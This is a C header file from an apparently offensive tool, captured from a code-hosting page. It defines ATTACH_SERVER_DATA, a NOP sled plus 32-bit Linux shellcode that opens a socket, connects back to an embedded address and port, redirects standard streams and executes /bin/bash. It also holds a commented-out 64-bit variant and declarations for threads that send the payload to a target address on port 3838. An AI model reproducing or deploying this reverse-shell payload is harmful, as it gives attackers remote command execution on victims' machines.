-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathForgePort.h
30 lines (23 loc) · 1.63 KB
/
ForgePort.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#ifndef __FORGE_PORT_H__
#define __FORGE_PORT_H__
#define ATTACH_SERVER_IP_ADDRESS "xxx.xxx.xxx.xxx"
//#define ATTACH_SERVER_IP_ADDRESS "xxx.xxx.xxx.xxx"
#define ATTACH_SERVER_DATA \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\xeb\x61\x31\xc0\x31\xdb\x31\xc9\x5a\x6a\x06\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x50\xff\x72\x02\x66\xff\x32\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\x89\xf3\xcd\x80\x89\xc6\x75\xf4\x31\xc0\x31\xc9\x51\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x51\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80\xe8\x9a\xff\xff\xff\x11\x5c\x0a\x01\x1c\x90"
//"\x68\x0a\x01\x1c\x90\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
#define ATTACH_PORT_PORT 3838
typedef struct _FORGE_PORT_ATTACH_PARAMTER
{
CHAR AttachIpAddrA[MAX_PATH];
CHAR AttachDatA[MAX_PATH];
USHORT uAttachPort;
}FORGE_PORT_ATTACH_PARAMTER,*PFORGE_PORT_ATTACH_PARAMTER;
extern PFORGE_PORT_ATTACH_PARAMTER g_pForgePortParamter;
extern HANDLE g_hAttachPortThread[MAXIMUM_ATTACH_THREAD];
extern ULONG g_ulPortThreadId[MAXIMUM_ATTACH_THREAD];
void InitializeAttachPortRoutine();
#endif